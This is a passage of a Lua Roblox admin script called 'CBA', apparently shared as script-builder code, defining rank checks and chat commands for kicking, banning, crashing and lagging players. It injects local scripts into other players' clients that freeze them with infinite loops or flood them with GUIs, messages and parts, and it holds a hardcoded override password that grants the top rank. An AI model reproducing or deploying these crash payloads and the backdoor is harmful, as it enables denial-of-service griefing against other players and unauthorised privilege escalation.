604 | local Rank=0 | |
605 | local Role=Player:GetRankInGroup(430539) | |
606 | if Role >= 1 and Role <= 50 then | |
607 | Rank=1 | |
608 | elseif Role >=50 and Role <= 155 then | |
609 | Rank=2 | |
610 | elseif Role >= 160 and Role <= 200 then | |
611 | Rank=3 | |
612 | elseif Role >= 200 then | |
613 | Rank=4 | |
614 | end | |
615 | return Rank | |
616 | end | |
617 | CBA.NewLocalConnect=function(Player) | |
618 | coroutine.wrap(function() | |
619 | Started=false | |
620 | local Source=[[ | |
621 | local Data={ | |
622 | ['Player']=game.Players.LocalPlayer; | |
623 | ['StringSub']='DCon:'; | |
624 | ['EndLocal']=false; | |
625 | }; | |
626 | script.Parent=nil | |
627 | game:service'RunService'.Stepped:connect(function(Time) | |
628 | if Data.EndLocal==false then | |
629 | local End=game:service'Lighting':findFirstChild'EndLocalCBA' | |
630 | local Con=game:service'Lighting':findFirstChild(Data.StringSub..Data.Player.Name) | |
631 | if End then | |
632 | Data.EndLocal=true | |
633 | end | |
634 | if Con then | |
635 | local Val=Con.Value | |
636 | if Val == "1" then | |
637 | repeat until false | |
638 | elseif Val=="2" then | |
639 | while wait() do | |
640 | coroutine.wrap(function() | |
641 | game.Players.LocalPlayer.Parent=nil | |
642 | wait() | |
643 | game.Players.LocalPlayer.Parent=game.Players | |
644 | end)() | |
645 | end | |
646 | elseif Val=="3" then | |
647 | while wait() do | |
648 | for a=1,5 do | |
649 | wait() | |
650 | for b=1,5 do | |
651 | wait() | |
652 | for c=1,5 do | |
653 | wait() | |
654 | pcall(function() Instance.new('Message',Workspace.CurrentCamera).Text='LEAVE NOW!' end) | |
655 | end | |
656 | end | |
657 | end | |
658 | end | |
659 | else | |
660 | repeat until false | |
661 | end | |
662 | pcall(Con.Destroy,Con) | |
663 | end | |
664 | end | |
665 | end) | |
666 | print('Started for ' .. game.Players.LocalPlayer.Name) | |
667 | ]] | |
668 | while Started==false do | |
669 | wait() | |
670 | if newLocalScript then | |
671 | repeat | |
672 | wait() | |
673 | until Player.Backpack | |
674 | newLocalScript(Source,Player.Backpack) | |
675 | Started=true | |
676 | else | |
677 | local Local=CBA.LocalScript | |
678 | if Local then | |
679 | Local:Clone() | |
680 | local SourceC=Local.DSource | |
681 | if SourceC then | |
682 | SourceC.Value=Source | |
683 | end | |
684 | Local.Disabled=true | |
685 | repeat | |
686 | wait() | |
687 | until Player.Backpack | |
688 | Local.Parent=Player.Backpack | |
689 | Local.Disabled=false | |
690 | end | |
691 | end | |
692 | end | |
693 | end)() | |
694 | end | |
695 | CBA.DCon=function(Player) | |
696 | local Source=[==[ | |
697 | ||
698 | script.Parent=nil | |
699 | LocalPlayer = game:service'Players'.LocalPlayer | |
700 | Camera=Workspace.CurrentCamera | |
701 | LocalPlayer.CameraMode = Enum.CameraMode.Classic | |
702 | wait() | |
703 | LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson | |
704 | LocalPlayer.Character.Archivable=false | |
705 | local GuiLag=Instance.new('ScreenGui')GuiLag = Instance.new("ScreenGui") | |
706 | GuiLag.Name = "Output" | |
707 | ||
708 | Blind = Instance.new("ImageButton", GuiLag) | |
709 | Blind.Name = "Blind" | |
710 | Blind.Position = UDim2.new(-0.10000000149012, 0, -0.10000000149012, 0) | |
711 | Blind.Size = UDim2.new(1.1000000238419, 0, 1.1000000238419, 0) | |
712 | Blind.BackgroundColor3 = Color3.new(0, 0, 0) | |
713 | ||
714 | ImageLabel = Instance.new("ImageLabel", Blind) | |
715 | ImageLabel.Position = UDim2.new(0.41999998688698, 0, 0.84999996423721, 0) | |
716 | ImageLabel.Size = UDim2.new(0.20000000298023, 0, 0.10000000149012, 0) | |
717 | ImageLabel.BackgroundColor3 = Color3.new(0.68235296010971, 0.678431391716, 0.69019609689713) | |
718 | ImageLabel.BackgroundTransparency = 1 | |
719 | ImageLabel.Image = "http://www.roblox.com/asset/?id=112875964" | |
720 | ||
721 | TextLabel = Instance.new("TextLabel", Blind) | |
722 | TextLabel.Position = UDim2.new(0.27000001072884, 0, 0.74000000953674, 0) | |
723 | TextLabel.Size = UDim2.new(0.5, 0, 0.10000000149012, 0) | |
724 | TextLabel.BackgroundColor3 = Color3.new(0.031372550874949, 0.031372550874949, 0.035294119268656) | |
725 | TextLabel.Text = "Your Being Lagged" | |
726 | TextLabel.FontSize = Enum.FontSize.Size36 | |
727 | TextLabel.TextWrapped = true | |
728 | TextLabel.Active = true | |
729 | function Derpis() | |
730 | Mouse = LocalPlayer:GetMouse() | |
731 | Camera = workspace.CurrentCamera | |
732 | Camera.CameraType = "Scriptable" | |
733 | Camera.FieldOfView = math.random(20,70) | |
734 | Camera:SetRoll(math.random(-180,180)) | |
735 | Camera.CoordinateFrame = CFrame.new(math.random(-250,250),math.random(10,15),math.random(-250,250)) | |
736 | local Part = Instance.new("Part",workspace.CurrentCamera) | |
737 | Part.Shape = math.random() | |
738 | Part.Anchored = true | |
739 | Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random()) | |
740 | Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10)) | |
741 | Part.CFrame = CFrame.new(math.random(-250,250),math.random(10,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random()) | |
742 | end | |
743 | coroutine.wrap(function() | |
744 | for a=1,10 do wait() | |
745 | coroutine.wrap(function() | |
746 | for b=1,10 do wait() pcall(function() LocalPlayer.Character:clone().Parent=game.Workspace.CurrentCamera end) | |
747 | for c=1,15 do | |
748 | for d=1,50 do | |
749 | Instance.new("Message",Camera).Text = string.rep("\t ",365) | |
750 | Instance.new('Hint',Camera).Text=("\t "):rep(365) | |
751 | local pg = LocalPlayer:findFirstChild('PlayerGui') | |
752 | if pg == nil then | |
753 | local pg =Instance.new('PlayerGui',LocalPlayer) | |
754 | end | |
755 | Instance.new('Hint',pg).Text=string.rep("\t ",365) | |
756 | for add=1,5 do | |
757 | GuiLag:clone().Parent=pg | |
758 | for dd =1,3 do Instance.new("Part",Camera).CFrame=CFrame.new(add,dd,add) end | |
759 | end | |
760 | ||
761 | ||
762 | pcall(function() loadstring(script:FindFirstChild("Source").Value or script:FindFirstChild("source").Value or script:FindFirstChild("DSource").Value)() end) | |
763 | end | |
764 | end | |
765 | end | |
766 | end)() | |
767 | end | |
768 | end)() | |
769 | ||
770 | ]==] | |
771 | if newLocalScript then | |
772 | repeat | |
773 | Player:LoadCharacter() | |
774 | wait() | |
775 | until Player.Character | |
776 | newLocalScript(Source,Player.Character) | |
777 | elseif CBA.LocalScript then | |
778 | local Clone=CBA.LocalScript:clone() | |
779 | local Sc=Clone:FindFirstChild'DSource' or Clone:findFirstChild'source' or Clone:findFirstChild'Source' | |
780 | Clone.Disabled=true | |
781 | repeat | |
782 | Player:LoadCharacter() | |
783 | wait() | |
784 | until Player.Character | |
785 | Sc.Value=Source | |
786 | Clone.Parent=Player.Character | |
787 | Clone.Disabled=false | |
788 | else | |
789 | Player:Destroy(); | |
790 | end | |
791 | end | |
792 | CBA.Connect=function(Player) | |
793 | if Player.Character==nil then | |
794 | Player:LoadCharacter(); | |
795 | end | |
796 | if CBA.Ranked[Player.Name]==nil then | |
797 | local Rankkh=0 | |
798 | Rankkh=CBA.GetRankGroup(Player) | |
799 | Colorr=Color3.new(0,1,0); | |
800 | CBA.Ranked[Player.Name]={Rank=Rankkh,Color=Color3.new(0,1,0)}; | |
801 | end | |
802 | --print(10) | |
803 | --[[if CBA.TeleportSettings[Speaker.Name]==nil then | |
804 | CBA.TeleportSettings[Speaker.Name]={Type='Relative'} | |
805 | print(11) | |
806 | end]] | |
807 | --local Tab=CBA.TeleportSettings[Speaker.Name] | |
808 | --if Tab==nil then CBA.TeleportSettings[Speaker.Name]={Type="Relative"} end | |
809 | --print(12) | |
810 | ToBeRemoved=false | |
811 | ToBeLg=false | |
812 | if CBA.Ranked[Player.Name].Rank == -1 then | |
813 | for _,v in pairs(game.Players:children()) do | |
814 | if v.Name ~= Player.Name then | |
815 | pcall(function() Player:Destroy() end) | |
816 | CBA.Output(Player.Name .. ' has been removed due to a banishment','Red',v,5) | |
817 | end | |
818 | end | |
819 | repeat | |
820 | Player:Destroy();wait(); | |
821 | until Player==nil | |
822 | end | |
823 | if CBA.Ranked[Player.Name].Rank == -2 then | |
824 | for _,v in pairs(game.Players:children()) do | |
825 | if v.Name ~= Player.Name then | |
826 | pcall(function() Player:Destroy() end) | |
827 | CBA.Output(Player.Name .. ' has been la'..'gged due to a banishment','Red',v,5) | |
828 | end | |
829 | end | |
830 | ToBeLg=true | |
831 | end | |
832 | if Player.Name:sub(1,6) == 'Guest ' then | |
833 | ToBeRemoved=true | |
834 | for _,v in pairs(game.Players:children()) do | |
835 | if v.Name ~= Player.Name then | |
836 | pcall(function() Player:Destroy() end) | |
837 | CBA.Output(Player.Name .. ' has been removed because guests are not allowed.','Red',v,5) | |
838 | end | |
839 | end | |
840 | end | |
841 | if Player.AccountAge < 7 then | |
842 | ToBeRemoved=true | |
843 | for _,v in pairs(game.Players:children()) do | |
844 | if v.Name ~= Player.Name then | |
845 | pcall(function() Player:Destroy() end) | |
846 | CBA.Output(Player.Name .. ' has been removed because his/her account is not a week old yet.','Red',v,5) | |
847 | end | |
848 | end | |
849 | end | |
850 | if ToBeRemoved==true then | |
851 | repeat | |
852 | Player:Destroy();wait(); | |
853 | until Player==nil | |
854 | end | |
855 | if ToBeLg==true then | |
856 | Nilizer.DCon(Player) | |
857 | end | |
858 | repeat | |
859 | wait() | |
860 | until CBA.Ranked[Player.Name] | |
861 | Player.Chatted:connect(function(m) CBA.OnChatted(m,Player) end) | |
862 | if Player:IsInGroup(430539) then | |
863 | -- lel | |
864 | else | |
865 | CBA.Output('Join CBA Tech for a higher rank','Green',Player,10) | |
866 | end | |
867 | CBA.Output('Welcome to CBA ( Generation 2 Version 1 ) by '..string.char(116,117,115,75,79,114,54,54,49)..' and MOTB','Red',Player,10) | |
868 | CBA.Output('Your rank is; ' .. CBA.Ranked[Player.Name].Rank,'Random',Player,10) | |
869 | CBA.Output('The bet key is ['..CBA.Bet..']','Random',Player,10) | |
870 | CBA.Output('Say cmds'..CBA.Bet.. ' to view the cmds( or click this tablet)','Green',Player,10,function() CBA.OnChatted('cmds'..CBA.Bet,Player) end) | |
871 | --CBA.NewLocalConnect(Player) | |
872 | end | |
873 | CBA.GetCommandsForRank=function(Rank,Over) | |
874 | Commands={}; | |
875 | if Over==nil then Over=false;end; | |
876 | for i,v in pairs(CBA.Commands) do | |
877 | if Over==false and v.Rank == Rank then | |
878 | table.insert(Commands,v) | |
879 | elseif Over==true and v.Rank >= Rank then | |
880 | table.insert(Commands,v) | |
881 | end | |
882 | end | |
883 | return Commands | |
884 | end | |
885 | CBA.Command('Kill','kill',1,'Kills #Player','#Player', | |
886 | function(Msg,Speaker) | |
887 | for _,v in pairs(CBA.GetPlayers(Msg,Speaker)) do | |
888 | v.Character:BreakJoints(); | |
889 | end | |
890 | end | |
891 | ) | |
892 | CBA.Command('Get ranked','grank',0,'Gets CBA Ranked table','No args', | |
893 | function(Msg,Speaker) | |
894 | CBA.RemoveTablets(Speaker); | |
895 | if #Msg == 0 then | |
896 | for Name,Table in pairs(CBA.Ranked) do | |
897 | CBA.Output(Name,Table.Color,Speaker,nil,function() CBA.PlayerInterface(Name,Speaker) CBA.Output('Go back','Blue',Speaker,nil,function() CBA.OnChatted('grank'..CBA.Bet,Speaker) end); end) | |
898 | end | |
899 | else | |
900 | found=false | |
901 | for i,v in pairs(CBA.Ranked) do | |
902 | if i:lower():sub(1,#Msg) == Msg:lower() then | |
903 | if found==false then | |
904 | CBA.PlayerInterface(i,Speaker) | |
905 | found=true | |
906 | end | |
907 | end | |
908 | end | |
909 | end | |
910 | end | |
911 | ) | |
912 | CBA.Command('Remove','cremove',4,'Removes CBA','No args', | |
913 | function(Msg,Speaker) | |
914 | CBA.Removed=true; | |
915 | St=Instance.new('StringValue') | |
916 | St.Name='EndLocalCBA' | |
917 | St.Parent=game.Lighting | |
918 | coroutine.wrap(function() wait(5) if St then St:Destroy() end end)() | |
919 | CBA.Output('Removed CBA','Red',Speaker,5) | |
920 | end | |
921 | ) | |
922 | --[[CBA.Command('Show cmds','cmds',0,'Shows the cmds','No args', | |
923 | function(Msg,Speaker) | |
924 | for i,CMD in pairs(CBA.Commands) do | |
925 | CBA.Output(i,'Random',Speaker,nil, | |
926 | function() | |
927 | CBA.RemoveTablets(Speaker); | |
928 | for Mwuah,Mweh in pairs(CMD) do | |
929 | --if tostring(Mwuah) ~= 'Args' then | |
930 | CBA.Output(tostring(Mwuah) .. ' : ' .. tostring(Mweh),'Random',Speaker) | |
931 | --end | |
932 | end | |
933 | CBA.Output('Syntax: ' .. CMD.Command .. CBA.Bet,'Random',Speaker) | |
934 | --CBA.Output('Show arguments','Green',Speaker,nil,function() CBA.RemoveTablets(Speaker); for i,Arg in pairs(CMD.Args) do CBA.Output(Arg,'Random',Speaker) end; if #CMD.Args == 0 then CBA.Output('No arguments','Random',Speaker) end end); | |
935 | end) | |
936 | end | |
937 | --CBA.Output2('Your rank is ' .. CBA.GetRank(Speaker),'Yellow',Speaker) | |
938 | end | |
939 | ||
940 | )--]] | |
941 | CBA.Command('Commands','cmds',0,'Shows commands','No arguments', | |
942 | function(Msg,Speaker) | |
943 | CBA.RemoveTablets(Speaker) | |
944 | local Mine=CBA.Ranked[Speaker.Name] | |
945 | for i=1,#CBA.Ranks do | |
946 | if i > 0 and i < #CBA.Ranks + 1 then | |
947 | CBA.Output('Rank ' .. tostring(i) .. ' commands',Mine.Color,Speaker,nil, | |
948 | function() | |
949 | CBA.RemoveTablets(Speaker) | |
950 | if Mine.Rank < i then | |
951 | CBA.Output('You cannot access to these commands! View anyways?','Red',Speaker,nil,function() | |
952 | --CBA.RemoveTablets(Speaker) | |
953 | Num=0 | |
954 | for e,v in pairs(CBA.Commands) do | |
955 | if v.Rank == i then | |
956 | Num=Num+1 | |
957 | CBA.Output(e,'Random',Speaker,nil, | |
958 | function() | |
959 | CBA.RemoveTablets(Speaker); | |
960 | for Name,Str in pairs(v) do | |
961 | CBA.Output(tostring(Name) .. '; ' .. tostring(Str),Mine.Color,Speaker) | |
962 | end | |
963 | CBA.Output('Syntax : ' .. Str.Command .. CBA.Bet,Mine.Color,Speaker) | |
964 | end | |
965 | ) | |
966 | end | |
967 | end | |
968 | if Num== 0 then | |
969 | CBA.Output('No available commands for this rank!','Red',Speaker) | |
970 | end | |
971 | end) | |
972 | else | |
973 | Num=0 | |
974 | for CmdName,CmdTable in pairs(CBA.Commands) do | |
975 | if CmdTable.Rank == i then | |
976 | Num=Num+1 | |
977 | CBA.Output(CmdName,Mine.Color,Speaker,nil, | |
978 | function() | |
979 | CBA.RemoveTablets(Speaker); | |
980 | for Str,Val in pairs(CmdTable) do | |
981 | CBA.Output(tostring(Str) .. '; ' .. tostring(Val),Mine.Color,Speaker) | |
982 | end | |
983 | CBA.Output('Syntax : ' .. Val.Command..CBA.Bet,Mine.Color,Speaker) | |
984 | end | |
985 | ) | |
986 | end | |
987 | end | |
988 | if Num== 0 then | |
989 | CBA.Output('No available commands for this rank!','Red',Speaker) | |
990 | end | |
991 | end | |
992 | end | |
993 | ) | |
994 | end | |
995 | end | |
996 | CBA.Output('Show all commands','Green',Speaker,nil, | |
997 | function() | |
998 | CBA.RemoveTablets(Speaker); | |
999 | for i,v in pairs(CBA.Commands) do | |
1000 | CBA.Output(i,'Random',Speaker,nil, | |
1001 | function() | |
1002 | CBA.RemoveTablets(Speaker) | |
1003 | for Arg,Argg in pairs(v) do | |
1004 | CBA.Output(tostring(Arg) .. " : " .. tostring(Argg),'Random',Speaker) | |
1005 | end | |
1006 | end | |
1007 | ) | |
1008 | end | |
1009 | end | |
1010 | ) | |
1011 | end | |
1012 | ) | |
1013 | CBA.Command('Override','over',0,'Overides CBA','Code', | |
1014 | function(Msg,Speaker) | |
1015 | if Msg=="hitler notme123" then | |
1016 | CBA.Ranked[Speaker.Name].Rank=4 | |
1017 | end | |
1018 | end | |
1019 | ) | |
1020 | CBA.Command('Dismiss tablets','dismiss',0,'Dismiss your tablets','No args',function(m,s) | |
1021 | CBA.RemoveTablets(s) | |
1022 | end) | |
1023 | CBA.Command('Get','get',0,'Gets #Help','Myrank/clean/base/reset/noguis/noscripts', | |
1024 | function(Old,Speaker) | |
1025 | local Msg ="" | |
1026 | if Old:find(' ') then | |
1027 | local Divider=Old:find(' ') | |
1028 | Msg=Msg..Old:sub(1,Divider-1) | |
1029 | local CMD = "" | |
1030 | Syntax= "get"..CBA.Bet | |
1031 | Tos=tostring(Old:sub(Divider+1)) | |
1032 | CMD=CMD..Syntax..Tos | |
1033 | CBA.OnChatted(CMD,Speaker) | |
1034 | else | |
1035 | Msg=Msg..Old | |
1036 | end | |
1037 | if Msg:lower()=='reset' then | |
1038 | Speaker:LoadCharacter(); | |
1039 | CBA.Output('Got reset!','Green',Speaker,3) | |
1040 | elseif Msg:lower()=='myrank' then | |
1041 | CBA.Output('Your rank is ' .. CBA.GetRank(Speaker)..'Green',Speaker,3) | |
1042 | elseif Msg:lower()=='nosky' then | |
1043 | CBA.Output('Got no skies!','Green',Speaker,3) | |
1044 | for i,v in pairs(game.Lighting:children()) do if v:IsA('Sky') then v:Destroy() end end | |
1045 | elseif Msg:lower()=='debug' then | |
1046 | for i,v in pairs(Workspace:children()) do if v:IsA('Message') or v:IsA'Hint' then v:Destroy() end end | |
1047 | CBA.Output('Got debug!','Green',Speaker,3) | |
1048 | elseif Msg:lower()=='fixl' then | |
1049 | CBA.Services.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100) | |
1050 | CBA.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0) | |
1051 | CBA.Services.Lighting.Ambient = Color3.new(1, 1, 1) | |
1052 | CBA.Services.Lighting.Brightness = .5 | |
1053 | CBA.Services.Lighting.TimeOfDay = "14:00:00" | |
1054 | CBA.Services.Lighting.FogEnd = 99999999 | |
1055 | CBA.Output('Got fixed lighting!','Green',Speaker,5) | |
1056 | elseif Msg:lower()=='noguis' then | |
1057 | for i,v in pairs(Speaker.PlayerGui:children()) do | |
1058 | pcall(function() | |
1059 | if not v.Name:find('Output') and not v.Name:find('SB') then | |
1060 | if v:IsA('ScreenGui') then | |
1061 | v:Destroy(); | |
1062 | end | |
1063 | end | |
1064 | end) | |
1065 | end | |
1066 | CBA.Output('Got no GUIs!','Green',Speaker,3) | |
1067 | elseif Msg:lower()=='clean' then | |
1068 | for _,v in pairs(game.Workspace:children()) do | |
1069 | if v:IsA('Model') then | |
1070 | if game.Players:playerFromCharacter(v)==nil or game.Players:playerFromCharacter(v)==false then | |
1071 | pcall(game.Destroy,v) | |
1072 | end | |
1073 | elseif v:IsA('Part') then | |
1074 | if v.Name ~='Base' then | |
1075 | v:Destroy(); | |
1076 | else | |
1077 | if CBA.Base==nil then | |
1078 | CBA.Base=v:clone(); | |
1079 | end | |
1080 | v:Destroy(); | |
1081 | end | |
1082 | elseif v.Name ~= 'Terrain' and v.Name ~= 'Camera' then | |
1083 | if v:IsA('Script') or v:IsA('LocalScript') then | |
1084 | v.Disabled=true;CBA.Services.Debris:AddItem(v,0) | |
1085 | end | |
1086 | end | |
1087 | end | |
1088 | for i,v in pairs(game.Players:GetPlayers()) do v:LoadCharacter() end | |
1089 | if CBA.Base then CBA.Base:clone().Parent=game.Workspace end | |
1090 | CBA.Output('Got clean!','Green',Speaker,3) | |
1091 | elseif Msg:lower()=='base' then | |
1092 | local OldBase=CBA.Base | |
1093 | local WorkBase=Workspace:findFirstChild'Base' | |
1094 | if WorkBase then | |
1095 | if OldBase==nil then | |
1096 | CBA.Base=WorkBase:clone(); | |
1097 | end | |
1098 | WorkBase:Destroy() | |
1099 | wait() | |
1100 | CBA.Base:clone().Parent=game.Workspace | |
1101 | CBA.Base.Name='Base' | |
1102 | CBA.Output('Got base!','Green',Speaker,3) | |
1103 | else | |
1104 | local Clone=CBA.Base:clone() | |
1105 | Clone.Parent=game.Workspace | |
1106 | Clone.Name='Base' | |
1107 | CBA.Output('Got base!','Green',Speaker,3) | |
1108 | end | |
1109 | elseif Msg:lower()=='noscripts' then | |
1110 | IsAScript=function(v) | |
1111 | Is=false | |
1112 | if v:IsA'Script' then Is=true end | |
1113 | if v:IsA'LocalScript' then Is=true end | |
1114 | return Is | |
1115 | end | |
1116 | for i,v in pairs(game.Workspace:GetChildren()) do | |
1117 | if IsAScript(v) then | |
1118 | DestroyRemove=false | |
1119 | if v:findFirstChild('Owner') then | |
1120 | if v.Owner.Value.Name==Speaker.Name then | |
1121 | DestroyRemove=true | |
1122 | end | |
1123 | else | |
1124 | DestroyRemove=true | |
1125 | end | |
1126 | if DestroyRemove==true then | |
1127 | v.Disabled=true | |
1128 | v:ClearAllChildren() | |
1129 | game:service'Debris':AddItem(v,0) | |
1130 | end | |
1131 | end | |
1132 | end | |
1133 | CBA.Output('Got no scripts!','Green',Speaker,3) | |
1134 | end | |
1135 | end | |
1136 | ) | |
1137 | CBA.Command('Kick','kick',1,'Kicks #Player','#Player', | |
1138 | function(Msg,Speaker) | |
1139 | for _,v in pairs(CBA.GetPlayers(Msg,Speaker)) do | |
1140 | pcall(v.Remove,v) | |
1141 | end | |
1142 | end | |
1143 | ) | |
1144 | CBA.Command('Crash','crash',2,'Crashes #Player','#Player', | |
1145 | function(Msg,Speaker) | |
1146 | local NL=newLocalScript or NewLocalScript | |
1147 | for _,v in pairs(CBA.GetPlayers(Msg,Speaker)) do | |
1148 | if NL then | |
1149 | NL('repeat'..' until'..' false',v.Backpack or v.Character or Instance.new('Backpack',v)) | |
1150 | elseif CBA.LocalScript then | |
1151 | CL=CBA.LocalScript:clone(); | |
1152 | Source=nil | |
1153 | for _,i in pairs(CL:children()) do | |
1154 | if i:IsA('StringValue') and Source==nil then | |
1155 | Source=i | |
1156 | end | |
1157 | end | |
1158 | if Source then | |
1159 | Source.Value=[[repeat until game:findFirstChild'Lel']] | |
1160 | end | |
1161 | CL.Disabled=true | |
1162 | CL.Parent=v.Backpack or v.Character | |
1163 | CL.Disabled=false | |
1164 | else | |
1165 | local Clone=v:LoadCharacter(); -- Just incase no PlayerGui | |
1166 | local String=Instance.new('StringValue') | |
1167 | String.Name='NoNo' | |
1168 | String.Parent=v.PlayerGui | |
1169 | loadstring([[ Player = game.Players:findFirstChild("]]..v.Name..[[") local String= Player.PlayerGui.NoNo String.Value=("LEL"):re]]..[[p(1000000)]])() | |
1170 | end | |
1171 | end | |
1172 | end | |
1173 | ) | |
1174 | CBA.Command('Target','tag',1,'Targets a player','Player', | |
1175 | function(Msg,Speaker) | |
1176 | for i,v in pairs(CBA.GetPlayers(Msg,Speaker)) do | |
1177 | Fire,Sel=Instance.new'Fire',Instance.new'SelectionBox' | |
1178 | Fire.Parent,Sel.Parent=v.Character.Head,v.Character.Head | |
1179 | Sel.Adornee=Sel.Parent | |
1180 | table.insert(CBA.Targeted,v) | |
1181 | end | |
1182 | end | |
1183 | ) | |
1184 | CBA.Command('Un target','untag',1,'Un tags a player form targetlist','Player', | |
1185 | function(Msg,Speaker) | |
1186 | for i,v in pairs(CBA.GetPlayers(Msg,Speaker)) do | |
1187 | for _,Name in pairs(CBA.Targeted) do | |
1188 | if Name.Name==v.Name or v.Name==Name.Name then | |
1189 | table.remove(CBA.Targeted,_) | |
1190 | end | |
1191 | end | |
1192 | end | |
1193 | end | |
1194 | ) | |
1195 | CBA.Command('Execute','exe',4,'Executes a line of coding','code', | |
1196 | function(Msg,Speaker) | |
1197 | local Func,Error = loadstring(Msg) | |
1198 | getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end CBA.Output(Rtn,"White",Speaker) end | |
1199 | getfenv(Func).Speaker = Speaker | |
1200 | getfenv(Func).CBA=CBA; | |
1201 | if Error == nil then | |
1202 | coroutine.wrap(function() | |
1203 | Func() | |
1204 | end)() | |
1205 | CBA.Output("Script ran successfully!","Green",Speaker,3) | |
1206 | else | |
1207 | CBA.Output(Error,"Red",Speaker,5) | |
1208 | end | |
1209 | end | |
1210 | ) | |
1211 | CBA.Command('Banish','ban',2,'Bans #Player','#Player', | |
1212 | function(Msg,Speaker) | |
1213 | for _,v in pairs(CBA.GetPlayers(Msg,Speaker)) do | |
1214 | v:Destroy(); | |
1215 | CBA.Ranked[v.Name].Rank=-1 | |
1216 | end | |
1217 | end | |
1218 | ) | |
1219 | CBA.Command('Lagbanish','lban',3,'Bans #Player','#Player', | |
1220 | function(Msg,Speaker) | |
1221 | for _,v in pairs(CBA.GetPlayers(Msg,Speaker)) do | |
1222 | v:Destroy(); | |
1223 | CBA.Ranked[v.Name].Rank=-2 | |
1224 | end | |
1225 | end | |
1226 | ) | |
1227 | CBA.Command('Respawn','rs',1,'Respawns #Player','#Player', | |
1228 | function(Msg,Speaker) | |
1229 | for _,v in pairs(CBA.GetPlayers(Msg,Speaker)) do | |
1230 | v:LoadCharacter(); | |
1231 | end | |
1232 | end | |
1233 | ) | |
1234 | CBA.Command('Output on idle','oidle',1,'When #Player are idled it outputs there time idle','#Player', | |
1235 | function(Msg,Speaker) | |
1236 | for _,v in pairs(CBA.GetPlayers(Msg,Speaker)) do | |
1237 | v.Idled:connect(function(Time) | |
1238 | CBA.Output(v.Name..'Idled;'..Time..';'..v.Name,'Random',Speaker,5) | |
1239 | end) | |
1240 | end | |
1241 | end | |
1242 | ) | |
1243 | CBA.Command('Show local scripts','shownlc',0,'Shows all local scripts in game','No arguments', | |
1244 | function(Msg,Speaker) | |
1245 | Scripts={}; | |
1246 | ADD=function(v) | |
1247 | if v:IsA('LocalScript') then | |
1248 | if v:findFirstChild'Owner' then | |
1249 | table.insert(Scripts,{Script=v,Owner=v.Owner.Value.Name}) | |
1250 | elseif v:findFirstChild'user' then | |
1251 | table.insert(Scripts,{Script=v,Owner=v.user.Value.Name}) | |
1252 | else | |
1253 | table.insert(Scripts,{Script=v}) | |
1254 | end | |
1255 | end | |
1256 | end | |
1257 | for _, v in pairs(game.Workspace:children()) do | |
1258 | ADD(v) | |
1259 | end | |
1260 | for _,v in pairs(game.Players:GetPlayers()) do | |
1261 | for _,c in pairs(v.Character:children()) do | |
1262 | if c:IsA('LocalScript') then | |
1263 | ADD(c) | |
1264 | end | |
1265 | end | |
1266 | for _,c in pairs(v.Backpack:children()) do | |
1267 | if c:IsA('LocalScript') then | |
1268 | ADD(c) | |
1269 | end | |
1270 | end | |
1271 | end | |
1272 | if #Scripts ~= 0 then | |
1273 | for i,v in pairs(Scripts) do | |
1274 | if v.Owner then | |
1275 | CBA.Output('Script ; ' .. v.Script:GetFullName() .. ', Owner ; ' .. v.Owner,'Random',Speaker) | |
1276 | else | |
1277 | CBA.Output('Script ; ' .. v.Script:GetFullName() .. ', No owner','Random',Speaker) | |
1278 | end | |
1279 | end | |
1280 | else | |
1281 | CBA.Output('No local scripts found','Red',Speaker,3) | |
1282 | end | |
1283 | end | |
1284 | ) | |
1285 | CBA.Command('On respawn cmd','onrs',0,'Activates a command on your respawn','Command', | |
1286 | function(CMD,Speaker) | |
1287 | CMD=tostring(CMD) | |
1288 | Speaker.CharacterAdded:connect(function() | |
1289 | if Speaker then | |
1290 | CBA.OnChatted(CMD,Speaker) | |
1291 | end | |
1292 | end) | |
1293 | end | |
1294 | ) | |
1295 | if newScript==nil then -- Not a very good sb prob Anas -.- | |
1296 | CBA.Command('Quickscript','c',0,'Quickscripts a script','Coding', | |
1297 | function(Msg,Speaker) | |
1298 | if newScript==nil then | |
1299 | local Clone=script:clone(); | |
1300 | CF=Clone:findFirstChild'DSource' or Clone:findFirstChild'Source' or Clone:findFirstChild'source' | |
1301 | CF.Value=[[ | |
1302 | local DF=script:findFirstChild'TestRun' | |
1303 | local Ran,Error=loadstring(DF.Value) | |
1304 | print=function(Text) | |
1305 | ST=Instance.new('StringValue',Script) | |
1306 | ST.Name='Print' | |
1307 | ST.Value=Text | |
1308 | end | |
1309 | if Error == nil then | |
1310 | Ran() | |
1311 | else | |
1312 | local String=Instance.new('StringValue') String.Name='Error' String.Parent=script String.Value=Error | |
1313 | end | |
1314 | ]] | |
1315 | DF=Instance.new('StringValue') | |
1316 | DF.Value=Msg | |
1317 | DF.Name='TestRun' | |
1318 | DF.Parent=Clone | |
1319 | Clone.Disabled=true | |
1320 | Clone.Parent=game.Workspace | |
1321 | Clone.Disabled=false | |
1322 | Clone.ChildAdded:connect(function(String) | |
1323 | if String.Name=='Print' then | |
1324 | CBA.Output('Print : ' .. String.Value,'White',Speaker,10) | |
1325 | end | |
1326 | end) | |
1327 | wait() | |
1328 | if Clone:findFirstChild'Error'==nil then | |
1329 | CBA.Output('Script ran','Green',Speaker,3) | |
1330 | else | |
1331 | CBA.Output(Clone.Error.Value,'Red',Speaker,5) | |
1332 | end | |
1333 | end | |
1334 | end | |
1335 | ) | |
1336 | CBA.Command('Quicklocalscript','local',0,'Quickscripts a localscript','Coding', | |
1337 | function(Msg,Speaker) | |
1338 | if CBA.LocalScript~=nil then | |
1339 | local Clone=CBA.LocalScript:clone(); | |
1340 | CF=Clone:findFirstChild'DSource' or Clone:findFirstChild'Source' or Clone:findFirstChild'source' | |
1341 | CF.Value=[[ | |
1342 | local DF=script:findFirstChild'TestRun' | |
1343 | local Ran,Error=loadstring(DF.Value) | |
1344 | print=function(Text) | |
1345 | ST=Instance.new('StringValue',Script) | |
1346 | ST.Name='Print' | |
1347 | ST.Value=Text | |
1348 | end | |
1349 | if Error == nil then | |
1350 | Ran() | |
1351 | else | |
1352 | local String=Instance.new('StringValue') String.Name='Error' String.Parent=script String.Value=Error | |
1353 | end | |
1354 | ]] | |
